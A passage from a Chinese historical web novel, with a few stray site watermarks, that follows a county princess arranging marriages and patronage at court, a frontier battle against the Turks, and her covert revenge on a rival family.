刘起犹豫一瞬,也出列道:“回禀陛下,微臣也见过这位常元德公子,其人相貌堂堂,且温润如玉,听闻先前因常家琐事不断,所以一般都是住在书院,鲜少回家,后来臣听闻,这是其父母之意,只是不愿意让琐事扰了其心性。” 王长庚是真意外,没想到刘起也会向着常元德说话。 他那个侄女到底是找了多少人为常元德站台呀? 啧,这么兴师动众的,难不成是打算重点扶持一下这个常元德? 常三爷正在自己的衙署内干活呢,下朝回来的上官就将他叫过去问了几句话,末了又嘱咐他定要好好培养儿子,日后好为圣上效力。 常三爷都被说懵了。 这是怎么个事儿? 他刚回到自己的座位上,小厮便又一跑三跳地进来。 “老爷,天大的好消息呀!” “嗯?” “长房那边的大公子被国子监退学了!” 常三爷一开始还没反应过来,随即想到他是爵爷,他的儿子也是可以入国子监读书的,这么一来,岂非是将名额空出来了? “快,仔细说说!” 小厮知道的不多,但是常三爷身边的同僚有的已经听到了消息,跑过来跟他套近乎。 常三爷这才知道,在早朝上,他那个死去的爹又被人弹劾了,而且这次连带着他大哥都跟着挨了训。 这下子好了,他儿子终于能进国子监读书了。 日后若是学得好,便以监生身份参加乡试,若是学得一般,那就直接做官。 无论如何,总归是前程有望了! 常三爷回府后,自然将此事说与夫人听。 夫人也没想到,贵人一出手,事情便如此简单地解决了。 以前常伯爷宠妾灭妻,别人不知道吗? 知道! 但那又如何? 毕竟只是常家的事,而且常家自己人都不觉得委屈,外人又怎会愿意主动干涉? 说到底,这是家事。 可是现在被闹大了,先伯爷就算是死了,也得被拉出来批判一圈。 该! 第238章长的的确不差! 常元德人还是懵着的呢,就被送到国子监求学了。 常三爷这次是真服气了。 以前就算是他爹在的时候,也没有这么厉害呀。 所以说,到底是不一样的。 别看安信侯府只是一个侯府,但是放眼全京城,谁敢小看他一眼? 不说许翰在陛下心中的地位,只说是一个许昭昭,便能让全京城的小娘子们羡慕嫉妒。 所以说,权势是好东西,但是怎么利用权势,怎么获得权势,怎么驾驭权势,这都是学问呐! 哪有平白无故就来的信任? 事实也的确如此。 如果不是许翰一直不入兵部兼差,怎么会得到圣上的信重? 如果不是许昭昭让出了巨大的利益,陛下又怎么会给她一个实封的县主? 说到底,都是拿东西换来的。 常三爷看得清楚,也知道他们常府定然是有什么人或者是东西入了这位县主的眼,否则,人家何必愿意出手帮忙? 至于那天许柱子说的有所求,当时他信了,可是回过头来再一细想,又觉得这种理由根本就不成立。 身为实封的县主,还能找不到一门可以让他们学的手艺? 不过就是个由头罢了。 所以,常三爷思虑再三之后,还是送上拜贴,想见一见侯府世子。 许君安收到拜贴后,再稍一琢磨,便想到这极有可能是冲着昭昭来的。 许君安到紫园的时候,许昭昭正在看猫狗打架呢。 要说这猫狗也没有什么特殊的,就是一只大黄狗,外加一只狸花猫。 不过那只狸花猫养得肥硕,但跟大黄狗打起架来,倒是丝毫不落下风,而且瞧着这爪子挥出去的速度,还真是快! “你倒是挺悠闲的。” 许昭昭扭头看到是他,也不起身,直接示意他在一旁的椅子上坐下。 “大哥今日不忙?” “大哥再忙,也得看着你。”wWW.xszWω㈧.йêt 许昭昭挑眉:“大哥这是要来教训我?” 许君安无奈,将贴子递出去给她瞧。 许昭昭只是草草瞥一眼,便不在意道:“他想来便来。” “是他们父子。” “哦,一样的。” 许君安叹气:“昭昭,你为何突然出手帮常元德?总得给我一个理由吧!” “看他顺眼喽。” 许昭昭之前虽然不了解常家,但她私底下是派人去接触过常元德的。 而且,还特意让陈湘湘身边的婢女去试探过常元德,觉得是个品行尚佳的少年郎。 “昭昭,你有未婚夫了!” 一句话,让刚刚含一口茶在嘴里的许昭昭一下子就喷出去了。 好在,她扭头喷的,所以只把自己的衣裙弄脏了。 许君安皱眉:“像什么样子!” 许昭昭连咳几声才埋怨道:“还是大哥你说话吓人?什么叫我有未婚夫了?你不会以为我看上那个常元德了吧?我又不瞎,他虽然长得俊朗,但我还是更喜欢三郎那一挂的。你可别据点鸳鸯谱。” 许君安气得想要捂她的嘴。 这等话也是乱说的? “不像话!” 许昭昭这边顺好了气,又喝了几小口的茶,才算是缓过来。 “大哥,祖母正在为湘湘相看人家呢。” “嗯,这个我知道。” 许君安之后瞪大眼睛:“你是说常元德和陈湘湘?” “湘湘的父亲调回京城,官职不会太高。而且他离京的时间太长了,仅凭着咱们侯府这层关系,并不足以让他在朝堂上站稳脚跟。祖母心高气盛,总觉得湘湘可以配勋贵公子,届时可借力以助表叔。 但是说到底,两家结亲,讲究的是个门当户对。陈家势弱,湘湘怎么可能有机会真地嫁入公侯之家?即便是嫁过去了,也不过是不受宠的子嗣,甚至有可能是庶子。” 许昭昭看兄长也的确是陷入沉思,便知他听进去了。 “大哥,我没有瞧不起庶出子女的意思,只是伦理纲常在这里摆着。有些事,一旦踏错,便是一辈子。我和母亲先前看过了祖母为湘湘表妹选的那些夫婿,不是纨绔子,便是因家宅私事而丧妻的糊涂虫。这等人家,表妹若是真嫁过去了,最终要出手帮忙的,还不是我们许家?” 许君安叹气,也是微微点头。 说到底是亲戚,若真出事了,许家也做不到坐视不理。 “常家的门第倒是可以,而且我今日收到消息,常爵爷的职位也有可能要动一动了。” 许昭昭点头:“他原本就是踏实做事之人,先前是因为为父守丧,所以丁忧三年。如今回到官场又总算是将事情做得得心应手了,而且家中琐事也处理干净了,上面的人,自然也就愿意用他了。” 许君安一愣,他倒不曾想过这个问题。 可许昭昭是谁呀。 上辈子,她也算是做过上位者的。 所以上位者用人,自然是有着那个角度的考量。 仔细想想常府为何这十余年来一直走下坡路? 圣上为何不愿意重用先逝的那位伯爷? 不就是看不上他这么个糊涂蛋嘛! 而且家事繁琐无序,上位者又如何相信你能处理好政事呢? 如今,常三爷痛快地分家,连同孔氏也一并送去常大爷家,而常三爷又是自律之人,家是没有妻妾相争,也没有庶子庶女的小心思,这日子过得简单了,就能有更多的心力投入到公事之事。 所以,上位者自然就愿意用这样省心又踏实肯干的人。 想明白了其中关窍,许君安点头:“妹妹果然是高瞻远瞩,父亲说的没错呀,你若是生为男儿身,这朝堂之上必定有你一席之地。” 许昭昭翻个白眼儿:“拉倒吧!真以为当官是什么好事呢?我就算是男儿身,也不当官,累都累死了!我就想着过现在这样的日子,闲鱼躺平,有吃有喝有钱拿,多好!” 许君安的嘴角抽了抽,他费了好大力气才压下去那股子恼火,这个妹妹,咋这么不上进呢? 不过再一想,她都是县主了,还能咋上进? 还想着再被封一个郡主是咋的? 许君安特意选在了离紫园近的阁楼和常家父子见面。 许君安因为诸多人对常元德的夸赞,自然也要多看他几眼。 别说,长的的确不差! 第239章 抵京 陈湘湘只是在这里露了一个面后,就被人送回去了。Www.XSZWω8.ΝΕt 许昭昭和许君安一起招待这常家父子,中间还命人特意送了桂花红茶过来。 “明人不说暗话,县主对我们常家施以援手,老夫感激不尽,若是县主有何差遣,您只管吩咐,只要不违反我大兴律法,不违背人伦,我常家必不敢有二话。” “常大人言重了。坦白说,之所以愿意助常公子一臂之力,其实还是因为曾在万年县有幸见过令郎一面。彼时我戴有幕篱,所以大公子并未认出我。但我听闻他曾盛赞我百果园的美酒,还曾出言维护于我,我心存感激,正好无以为报,如此,我们便算是两清了。” 常三爷看向常元德,注意到儿子的表情中有一丝恍然大悟,便明白许昭昭所言应该是真的。 只不过,两清是不可能两清的。 只是出言维护一二,便能换来监生的机会,这交易也太不公平了。 “既如此,那我们父子再次谢过县主。日后但凡县主或者是侯府有何差遣,我常家父子,必然没有二话。” “常大人不必如此。你们父子皆是文官,我侯府几代皆为武将。如今只我三哥一人从文,纵然是有舅舅家多番照顾,但朝堂上人多嘴杂,总有照顾不到之时,日后少不得要麻烦您二位相护了。” 常三爷明白了,这是在为许君霆铺路呢。 可许君霆都已经封爵了,哪里还需要他这个老东西提携呢? 许昭昭在这里停留了不过是半刻钟,便起身告辞。 走之前,她又多问一句:“不知大公子可有婚配?” 常元德怔愣片刻,摇头道:“尚无。学业无成,岂敢耽误佳人。” “大公子是个有福气的,我相信你的福气也会带给整个常府。” 许昭昭放下这么一句后,便离开了。 常三爷心动,想到先前见到的那位小姑娘,莫不就是想要为她说亲? 常三爷又和许君安聊了几句,这才知道,刚刚那位叫陈湘湘,其父也即将抵京赴任,但具体是何等官职,还得等吏部的公文下发,或者说是等陛下召见之后,才能有定论。 常家如今不比从前了。 常三爷大概猜到,陈大人调回京城,这官职最小也得是五品官,再加上其背后有侯府扶持,前程应该是无忧的。 而常元德是常府的嫡长公子,断然不会娶一庶女为妻,所以,娶侯府的表亲为妻,倒是不错的选择。 许昭昭之后再问陈湘湘时,陈湘湘小脸儿通红,头也不敢抬,那慌乱又有几分羞怯的样子,分明就是在说她害羞了,也就是说她动心了。 许昭昭将消息递给陈琮,让他想办法去试探这位常大公子。 若是陈琮也满意,那么日后陈表叔抵京后,这门婚事便有望了。 说到底,许昭昭只是想着尽早培养一些自己人罢了。 武将一般都不愿意与文官走动,而大部分的文官又看轻武将,总觉得他们是胸无点墨,一身蛮力,行事粗鲁。 但是大兴的官场风气还算是不错的,对于真正的文武双全的人,文官还是很包容的。 比如说,他们对谢铮,就很包容。 至于许翰,他是自己刻意打造出了一个粗人的形象出来,不知是其本性如此,还是只想远离权斗。 许昭昭对常元德的印象不错,当然,也不排除他有故意吸引自己注意的可能性。 但是对于现在的许昭昭来说,只是一个小小的常家,她还真的是不放在眼里。 她能让常元德进国子监,自然也就有办法再阻拦其前程。 所以,对于常家父子是否心怀谋算,这些都不是问题。 许昭昭想要用常家父子,更看重的,还是他们的能力。 毕竟,她暂时没有想要重用常家父子的打算,偶尔朝堂上的一两句维护,可以让许君霆在文臣中的处境好一些,就足够了。 至于以后,那就先慢慢观察着。 是否让陈湘湘与常元德结亲,也不急于一时,毕竟陈湘湘年纪还小,而常元德也暂时没有成婚的打算。 这样就挺好。 先缓一缓,省得再被人质疑。 四月,陈琮的父亲陈士广推妻子一路风尘仆仆地抵京了。 总算是到了京城,先前陈琮在京城置办的宅子早已收拾好,但因为老夫人的缘故,所以陈琮兄妹二人一直都还住在侯府。 如今陈士广这个一家之主到京城了,陈琮兄妹俩就想着搬出去,但是被老夫人先给安排到了侯府。 对此,王若兰和李氏都没有什么意见,知道他们住不长久。 主要是老夫人心疼这个侄儿,总觉得多年未见,想让他守在自己身边几日。 这也是可以理解的。 “表弟和表弟妹都莫要推辞了,先在侯府住几日,也缓解一下路上的劳累。况且你们刚刚抵京,有些事情,正好可以多与二弟以及君安和君霆兄弟俩说说,我们妯娌几个,也能凑在一起说说体己话。” 老夫人坚持不让走,陈士广自然也不好再坚持。 但陈士广也明确表示,不能长住。 陈士广先前是在上县任从六品的县令,其实说白了就是一个大县,相对而于较为富庶的县任职。 如今因为政绩原因调至京城,具体怎么安排,还得看吏部的考量。 若是寻常的县令调任,圣上自然是不会见的,没有必要,官职太小了。 但陈士广这人不同,因为他治下的政绩突出,且还在上一次的乡试中表现优异,之后的会试,更是有他治下的三人中了进士,这就已经相当了不得了! 所以,圣上召见他的可能性是极大的。 而且陈士广的主要政绩就在于教化方面,这一次他被调至京城,被安排进礼部或者是国子监、太学的可能性都很大。 但是考虑到陈士广有地方官的经验,所以,许昭昭觉得陈士广应该会被调至礼部为官。 陈士广与许君安在书房说话,屋内再无第三人。 “表叔,按家里人的猜测,你这次入职礼部的可能性极大。今日请你过来,也是想问问你的意思,是更愿意去国子监教授学问,还是入礼部呢?” 第240章 礼部郎中 陈士广不傻,若是入国子监,那以后自己努力的目标就是国子监祭酒,这是国子监最大的官了,但问题是,他的这个身份,成不了大儒,自然祭酒这个位置也就不会轮到自己。 在国子监,主要是要看学问,而非是为官之道,更不是什么地方政绩的。 但若是入礼部,自然就不一样了。 甚至于,他还极有可能会参与进后面的科举里,万一有朝一日能做主考官,那简直就是太痛快了! “若是可以,还是入礼部较为稳妥。” “如此甚好,我与二叔也是这个意思。今晚二叔下衙后,咱们一起小酌几杯,届时三弟也就回府了,正好咱们也能在一起好好谋划一番。” 对于陈士广的去处,其实许昭昭已经有所预料。 而侯府虽然能帮上忙,但是官员晋升自有一套法则。 以前是从六品,这次若能晋升至从五品,便已经是高升一大截了。 毕竟,就算是平级,也是京官更有优势。 更何况还能连升两级? 而且若是入礼部任郎中一职,则是从五品上,这样的品级,可以说是相当不错了。 对于陈士广的前程,许昭昭并没有插手,因为她相信自己二叔和大哥的能力。 不过是一个小小的礼部郎中,只要他们愿意真心帮忙,再加上还有陈士广的政绩在那里摆着,那么这个职位应该是手到擒来的。 几日后,圣上召见陈士广,当时在太极殿内,还有王长庚也在,自然是愿意向着他说两句话。 次日,吏部文书下发,陈士广调任礼部郎中,从五品上。 虽然心中早已有所预料,但是如今真正的公文下来了,这心才踏实了。 陈家人自然是要搬出去住的,许昭昭也亲自送到了门口。 但是因为陈家还有很多东西未曾安置好,所以暂时将陈湘湘留在了侯府。 这是老夫人的意思,到底是心疼陈湘湘,还是想着借机给陈湘湘寻一门好亲事,那就不得而知了。 许文已经早在两天前便提了一句陈湘湘婚配之事,陈琮也将常元德的相关资料都收集齐全,然后送到了父亲的桌案上。 对于这个常元德,陈士广倒是不急着去了解,但是他需要弄明白侯府的意思。 陈琮将先前姑祖母给寻的那些勋贵子弟的事情说了,脸上颇有几分不悦。 “父亲,我知姑祖母是一心为了咱们陈家好,但湘湘的终身大事岂能儿戏?儿子虽然不才,但也是愿意靠自己的本事考取功名的,怎能想着牺牲掉妹妹的幸福,从而来换取自己的前程?若果真如此,儿子宁愿不要这样的前程!” 陈士广一脸欣慰:“你能这般想,为父心中甚悦。你放心,湘湘是我的亲生女儿,我定然不会随意将其许人。不过,这个常元德,为父还是需要再好好考校一番的。” 陈琮点头:“昭昭妹妹是个有本事的,常家那边已经暗中送出消息,一切听咱们这边的,若是一年内,咱们不能将湘湘许给他,常家便会为常元德另觅良缘。” 也就是说,常家愿意等一年,只是为了陈家的态度。 但要说陈士广这官职多高,倒也不是。 而且再怎么说,常三爷也是顶着一个爵爷的名头的。 严格说来,还是陈湘湘高嫁了。 “且看看吧,不急。既然常元德已入国子监,那便看看他的学业如何,平时小事上也要多注意,要知道细节见人品。” “是,父亲。” 常元德光明正大地与陈琮等人有了来往,而他的文章和诗才也屡次得国子监的师长们夸奖,所以于才华这一点上,已经让陈家父子很满意了。 接下来,就是要考察其人品了。 许昭昭自始至终没有掺和,她只是递个话头过去,成与不成,她都不是很在意。 反正,常家已经对侯府死心塌地了,多一门姻亲少一门姻亲,其实都无所谓。 要知道许昭昭拿捏人的手段可太多了,她都能杀人于无形了,又何惧这利益关系是否牢固? 此时的北城,天气远比京城要冷很多。 但是比起他们大军刚来时,已经好很多了,至少不必非得穿棉衣。 谢铮的胳膊上被一箭蹭过,擦破点皮,但还是小心上药。 因为他出征前,许昭昭曾说过,让他保护好自己,否则,自己是有可能要悔婚的! 谢铮虽然知道许昭昭是在故意激他,但还是不由得上心了。 许翰已经脱了一身沉重的盔甲,大步进入谢铮的营帐。 “参见大将军。” 许翰摆摆手,谢铮这里也使个眼色,大帐内只余他们翁婿。 “岳父大人可是有何吩咐?” “闭嘴!军营里,唤我大将军。” “是,大将军。” 许翰肃然道:“咱们的这几场仗虽说打得漂亮,可是伤亡也不小。你是前锋,已经接连斩杀突厥三位大将,这次北征的你功劳不小,不必太过拼命,也得给底下人一些机会。” 谢铮了然:“多谢大将军,末将明白了。” “嗯,这次崔家的那个也与敌人交上手了,虽说不算是大胜,但好歹也算是立了一功。我估摸着他应该不会有再上阵的打算。只要咱们军营里的将士够用,暂时就不用他了。” 谢铮明白,崔家那位可是以后的郡马爷,的确是不能太冒险了。 “这是昭昭命人送来的,这两瓶伤药给你。你自己和你的亲兵也都得护好了,药没了,就真没了。” “多谢大将军。” 许翰走这一遭,一是为了提醒谢铮不能将所有的功劳都给占了,二来就是给他送药的。 别以为武将都是没脑子的。 这战场上贪功的人多了去了! 武将加官进爵,靠的就是拼命和玄之又玄的运气。 谢铮本就是国公世子,这次的功劳也不小了,若是把机会都占了,回京后也会让其它的武将们不满。 这连连许君锋在内,各武将家里派出来的子侄们得有十六七个了,哪一个不是想着上战场捞一个份功劳? 谢铮叹气,他的任务,不能谢家丢脸就行,而且这阵子表现也的确是很突出了,没必要再惹人嫉妒。 “还请大将军明查,末将这伤可能有些严重,估计四五天内是上不了战场了。” 许翰点头,孺子可教也! 第241章 要人要钱 谢铮休养了十余日之后,再次杀上战场。 这一次,是因为崔述被困,谢铮和许君锋带着五千兵马,总算是在茫茫草原上找到了他们,彼时,已经是杀声震天。 崔述的铠甲上全是血,有自己的,也有敌人的。 他振臂高呼:“弟兄们!只要杀出一条血路,咱们就是立功了。今天跟咱们对战的,是突厥的一个酋长,只要砍下他的头,咱们就能加官进爵!” “杀!” 一时间,杀声震天。 只是,士气虽高涨,但他们已拼杀了数个时辰,早已身疲力竭,而对方又是源源不断地有将士冲上来,他们就要撑不住了。 崔述挥刀的手都在抖,他真怕自己活不下来了,他还没有娶乐阳郡主进门呢。 就在此时,一名身披黑甲的将军,手持长戟,如猛虎下山,冲入敌阵。戟锋所至,敌兵纷纷倒下,鲜血溅满他的铠甲,顺着戟杆滴落。 崔述眼睛瞪大,哑着嗓子喊:“援军到了!大家伙振作起来,我们的援军到了,谢小将军来救我们了!” “杀!杀!杀!” 谢铮的威名如今已经传遍三军。 突厥下面总共有七个大部落,还有不少小部落,但这次出征,谢铮一人就斩了三个酋长的脑袋,就冲着这份勇猛,谁敢不服? 而此时谢铮的动作敏捷干脆,毫不拖泥带水,他的目光冷峻如冰,仿佛眼前的生死厮杀不过是寻常之事。身后,他的亲兵紧随其后,结成紧密的阵型,如同一把尖刀,直插敌军心脏。 另一边,一名敌将挥舞巨斧,力大无穷,每一击都带起狂风,将周围的士兵震退数步。他的脸上沾满血迹,眼中却燃烧着疯狂的战意,仿佛只有杀戮才能平息他心中的怒火。 就在刚刚,他的一个兄弟被谢铮给挑下马去,虽然看不到最终的结局,但是在战场上,被人一戟挑下马,怕是只能落一个被踩成肉泥的结果。 “我杀了你!” 谢铮丝毫不乱,带着人迅速向崔述靠拢,之后又一路护着,让崔述一行人顺利得脱出包围圈。 接下来,就要看他们的表现了。 许君锋眼见对方已经进入自己的势力范围,立马抬手:“控弦!” 所有的弓箭都已经拉满,许君锋又等几息后,才手势下落:“放!” 一时间,箭矢如雨,从空中倾泻而下,穿透铠甲,钉入血肉。 有人中箭倒地,挣扎着想要站起,却被随后冲来自己家的铁骑踏成肉泥。战场上,断肢残臂随处可见,鲜血汇成小溪,缓缓流淌,染红了整片土地。 空气中弥漫着浓重的血腥味,混合着硝烟与尘土,令人窒息。天空被烽烟遮蔽,日头黯淡无光,仿佛连天地都不忍直视这人间炼狱。 然而,厮杀仍在继续,无人后退,无人停歇。 生死在此刻变得如此渺小,唯有手中的兵器与心中的信念,支撑着每一个战士继续向前冲锋,虽然是敌人,但谢铮对于这些勇猛之人,都心存敬佩。 但是,这并不妨碍他落刀。 崔述一行人被救回,损失惨重。 崔述自己带了两百亲兵,这两百亲兵折损近半,而大总管指派给他的三千将士,如今只余一千出头。 若非是谢铮和许君锋先一步找到他们,只怕他们就得葬身于草原了。 好在,人带回来了。 崔述身上有伤,看似伤口不少,但是实际上都不深。 “好好休养,突厥蹦跶不了几天了。” “谢三郎,多谢!” “客气!” 两人相视一眼,很有默契地没有再说话。 这一次,崔述虽然是险些丧命,但也是同样立了功的。 崔述在前期被围时,斩杀了突厥的一名大将,其在军中地位,堪比副帅。 可以说这一仗,他们是重挫了突厥的锐气。 远在千里之外的京城,许昭昭可不知道她的未婚夫和兄长刚刚经历了什么,她在考虑着,要不要让许川去蓝田县。 许川主要的能力就是体现在管账上,而且他是自己的族兄,可信度没问题。 可许川太年轻,而且只接触过账房上的事,对于其它的一些手段则不通。 所以,许昭昭还是决定将许川留在百果园,先在这里锻炼着,若是日后真得能将人情世故都理顺了,那再重用也不迟。 而且,许昭昭手下的产业纵然是再多再分散,主要的账房也都集中在百果园呢。 “小姐,您先前派去蓝田县的严树在外候着呢。” “让他进来回话。” 严树断了一只手臂,但因为正值壮年,又是正经从战场上下来的,所以这一身的气势还是很足的。 他在蓝田县倒是将一些个起了小心思的人给压下去了,这一点,他没打算上报,但许昭昭早已经知道了。 “禀县主,如今庄子大体已经落成,按您先前的计划,一期的民舍基本上可以住人了,二期民舍正在准备动工。如今依附于县主的百姓共有四百六十二户,远不及圣上所赐的实封一千户。” “嗯,这个不急。就算是真来这么多人,咱们那里也住不下,反而麻烦。” “县主说的是。” “主宅如何了?” “主宅还在修建中,若无意外,再有三个月可完工。” “嗯,不急。” “关于庄子,县主可否给赐个名?” 许昭昭早就这事儿给忘到脑后了。 她是安乐县主,也是蓝田县主,但是县主府是要建在县城里头的,所以城外这处庄子,就得另起个名字。 许昭昭灵机一动:“陛下赐我食邑千户,这是天大的恩赏,不能忘。既然如此,那便取名:千家汇,如何?” 严树一听,千家会? 按理说可以,但是这个字不好。 “禀县主,哪三字?” 许昭昭此时也意识到这里是皇权社会,有些名字也是不能乱取的。 “我又想了想,觉得此名不妥。回头我再想想吧。你今日来,可还有其它事要禀报?” “回县主,织坊那边的收益不错,但是咱们现在要盖民舍,还要再盖工坊,还不能荒了田地,所以既需要人,也需要钱。” 第242章 没有不战而败的兵 钱好说,毕竟许昭昭现在不缺钱,可人就比较棘手了。 她上哪儿去划拉人呀? 大兴朝现在的人丁并不算是多兴旺,所以自先帝始,便一直在鼓励生育。 到了当今圣上,更是加大力度来鼓励生育,甚至是一再地提倡寡妇再嫁。 即便如此,现在大兴的人口也仍然不算多。 “钱这里你不用操心,关于用人,你是什么想法?” “回县主,若是用人的话,您若是不急着把咱们庄子住满,那就可以先请人来做。” “可以,就在蓝田县或者是周边县请人做工,不管是什么人过来,你都要正常的结算工钱,不可仗势欺人。” “是,小的明白。” 严树本来就是底层老百姓出身的,自己吃过苦,如今也不愿意去为难穷苦人。 严树这次离开的时候,侯府护卫跟着一路护送了不少的铜钱过去。 要请人做工,就要付钱,这是理所应当的。 而且底层老百姓们能接触到的,就是铜钱。 家里能攒下一贯钱,大人们都能乐得多吃一碗饭,可以说是期许很低了。 蓝田县那边,暂时还是老样子,什么时候主宅建好了,许昭昭才会去那边看一看。 而眼下嘛,她又遇到了一件麻烦事。 更准确地说,是付沛遇到麻烦事了。 姜宁重生后,一直就在盯着付沛,虽然没有机会直接接触,但是这并不妨碍她想法子去拉拢付沛。 姜家最近频频接触付沛,就是想把姜家的女儿嫁给付沛。 付沛现在只是一个寒门状元,官职也并不高,姜家就算是拉拢,也不需要做出太大牺牲,只是一个庶女,就能让不少人羡慕了。 或许在姜家人眼中,能舍得将一个庶女嫁给付沛,付沛现在就应该感恩戴德才对。 可现实偏偏跟他们所设想的不一样。 付沛并没有对姜家感恩戴德,甚至还有避开这桩婚事的意思。 这还了得? 付家自然是要生气的。 先前付家不着急拉拢付沛,那是因为姜家当时不在乎一个小小的状元。 直到之后,姜家陆续出事,直到如今,姜老太爷身体也明显不如从前,姜家不得不从长计议了。 这个时候,一个有前途的寒门状元,自然就入了他们的眼。 寒门嘛,这就意味着好掌控,好利诱。 可姜延平怎么也没想到,付沛,竟然不识抬举! 这就过分了。 在姜家人看来,我们愿意接纳你这个寒门子为亲戚,已经是给你脸了,可你竟然给脸不要脸,那就等着我姜家的报复吧。 再之后,付沛在官场上果然就诸事不顺。 有人给使小绊子、他的奏折被扣压、有其它大人几次在御前推荐他,也被姜家人搅局……ωww.xSZWω㈧.NēΤ 总之,姜家得不到的人才,那就是敌人。 这一做法,可以说是彻底地激怒了付沛。 他是寒门出身没错,可不代表了他就是真地好欺负! 付沛这边自然也采取了行动,而且他参加科考,自然是有座师的,除此之外,还有他以前的恩师、同僚等等,自然都能成为他的助力。 但是对上姜家这样的庞然大物,显然还不够。 这一日,许君霆将付沛请入了侯府。 “这些时日,你被上官指责,被同僚为难一事,我们都知道了。今日请付兄过来,也只是想要问问,你打算如何?” 付沛叹气:“我已尽了最大努力,若仍然斗不过姜家,大不了我辞官归乡,回家种田也好过受他的气。” “这是意气用事!” 许君霆显然是不认同这样的说法。 可付沛却是一脸坚定:“我不会娶姜家女,而且我也不会站在姜家那一边,满朝文武,难不成就是他姜家只手遮天不成?” 若是以前,姜家必然不敢有这么大的动作,因为付沛与许君霆交好,此事满京城人尽皆知。 可是如今许侯带着嫡次子远征,许侯结交的大多为武将,这个时候,能站出来护着许君霆的人都少,更何况是一个没有什么亲缘关系的付沛! 很明显,付沛也意识到了这一点,所以一直到现在,都不曾向侯府求助。 可许君霆却是看在眼里,身为好友,怎能置身事外? “此事你听我一言,咱们可以商量,哪怕我们不及你聪慧,但总归是人多力量大,你何必要自己扛?” “姜家明显就是冲着我来的,我自然不能把你们也拖下水。如今侯爷不在,朝中与侯爷交好的半数武将几乎都去了战场,这个时候,我不能让侯爷还要为了家中事而烦忧。战场上容不得半点差错,贤弟一心为我好,我心领了,但是我付沛不是那等忘恩负义之徒! 当初若非是贤弟伸出援手,只怕我早已饿死在归乡的路上,又如何还有机会入朝为官?如今也算是中了状元,能光耀门楣,即便是解职归乡,也算是对得起祖宗了。” “那你对得起对你伸出援手的侯府吗?” 这一声,让付沛愣在当场。 待门外之人徐徐进入,付沛这才僵着身子站起作揖:“下官参见县主。” “免礼。” 许昭昭入座,许君霆的脸上却是浮上一抹轻松,妹妹出马,定然什么麻烦都能解决。 别问,问就是对妹妹有着迷一般的自信! 付沛面对心上人,还是有几分紧张的。 再加上许昭昭身上透出来的这等上位者的气势,他更是连头都不敢抬。 “付沛,你苦读诗书二十载,如今好不容易入朝为官,遇到难事,竟只想着辞官归乡吗?若是如此,你当初又为何要做官?” “是下官一时间想岔了,只是觉得此事棘手,且下官不愿意向姜家低头,又不愿意再牵连其它无辜之人,这才有些自报自弃之想法,还请县主宽恕。” “身为男儿身,武当上阵杀敌,护我边疆;文当辅君治国,佑我百姓。我许家没有不战而败的兵,只有战到最后一刻而阵亡的许家魂!” 付沛听得心中激荡,许君霆更是热血沸腾。 “受教了!下官今日一时口误,还望县主宽佑。” 第243章 姜文鹤之死 许昭昭此时反倒是换了一种较为温和的语气道:“付大人也不必如此,你有今日,兴许也是受我侯府所累。此事,我侯府必然不会袖手旁观。” “不可!” 付沛连忙道:“县主,此事原就是因下官而起,与侯府并无关联,还请县主冷静。” “先坐,我慢慢将事情说与你听便是。” 许昭昭三言两语间,便将自己与姜宁的恩怨说了个大概,之后,自然便指出这已经是姜、许两家的矛盾。 “你与我三哥交好,且是挚友,姜家如今正是借着我父兄出征之机来对付侯府,而对付你,不过是他们采取的第一步罢了。” 许君霆也回过神来:“付兄,我妹妹言之有理。听闻现在不仅仅是你,还有其它的几位同僚也遇到了难处,这便是姜家之计。” “没想到,姜家的几位姑娘心思竟是如此恶毒。” “付大人,我堂妹许婷婷,不知付大人可能看得上?” 许婷婷虽是二房庶女,但是因为二房的子女不多,且如今许文与李氏的感情也一直很好,所以并不曾虐待庶子庶女。 付沛也是见过的。 “回禀县主,侯府的姑娘,自然都是好的。” “付大人不必害羞,此事不急,容付大人好好思量一二。至于姜家那边的婚事,无论你是否会娶我堂妹,我们都会助你一臂之力。” “还请县主赐教。” “姜家之所以能有闲功夫来针对你们这些官职低微的臣子,无非就是太闲了。既然如此,我们找些事情给他们做便是。” 许昭昭可不是说着玩的。 她若出手,那必然就是要达成目的。 先不说姜府内宅如何,只说是姜太傅这位姜家的老太爷,便于朝会之上晕过去了。 被人气晕的! 可偏偏,圣上也没有办法指责对方。 因为对方是御史,而且人家也是正常禀报,谁知道姜老太爷气性这么大,能生生晕过去呢。 姜太傅一晕,姜家上下自然就无比紧张。尛說Φ紋網 与此同时,姜文鹤死了。 而且死的极其不雅。 姜文鹤死在了床上,而且还是被一个丫头给弄死的,但是那个丫头却逃了,姜家报官后,又是悬赏又是调动人脉,但都于事无补。 那个丫头就好像是从来不曾出现过一样。 没有人知道,早在一年前,许昭昭就给那个姑娘弄了一张新户籍,而且还远离京城。 姜文鹤的死,可以说是让整个京城的纨绔二代们都老实了一阵子。 那可是姜家的长孙呀。 死的还这么丢人。 邓氏在姜文鹤死后,便一病不起。 而因为逝者年轻,又未留下子嗣,上面还有长辈,所以停灵不过两日便匆匆下葬。 死的又如此不光彩,姜家也没有大办。 虽然姜家极力想压下来,但他们报官了,自然而然地,就不可避免得传出去。 身为姜家长孙,竟然对丫环用强,最后丫环逼于无奈,这才下了死手。 不管怎么样,这是人命案,还是要查的。 但是查来查去,也没有查到什么线索,倒是有人说是在城外的河里发现了那个丫环的一双鞋,还有一封遗书。 所以,凶手投河自尽了。 这下子,也不用查了。 但是姜家不愿意接受这个结果。 凭什么呀! 姜文鹤的死,一直都是许昭昭安排的一步棋。 姜文鹤这个人太阴险了,一日不除,他便能与姜宁想出更多的毒计来。 当初险些害得二哥婚事黄了,就冲这个,许昭昭也不可能饶过他。 付沛得知姜文鹤暴毙,还大为意外。 “这?这是巧合?” 许君霆叹气道:“说来你可能不信。姜文鹤此人行事放流形骸,早在去年,便时常听友人说他在屋内虐待丫环。许是因为被罢了官,没了出路,所以才会心理扭曲,将怒火都发在那些无辜可怜的女子身上。 早前刘勃就曾劝过他,但是奈何他不听。这一次,听说也是因为小丫环被虐待得惨了,又趁着姜文鹤醉酒昏睡后,才下了狠手。说到底,若是能干干净净的活着,谁会愿意去做一个杀人凶手呢?” 付沛其实也隐约听说过一些关于姜文鹤的传闻,但是他没想到,姜文鹤的报应竟然会来得这么快! 可是一个丫环,如何能在夜里逃离姜府? 这显然非她一己之力所能达成的。 但是奈何连府衙都查不出来,其它人就更不清楚了。 “听说姜家处置了一批下人,可能是碍于眼下的名声,所以没有打杀,只是发卖了。” 付沛点点头,对于这样一个结果,还是有几分唏嘘的。 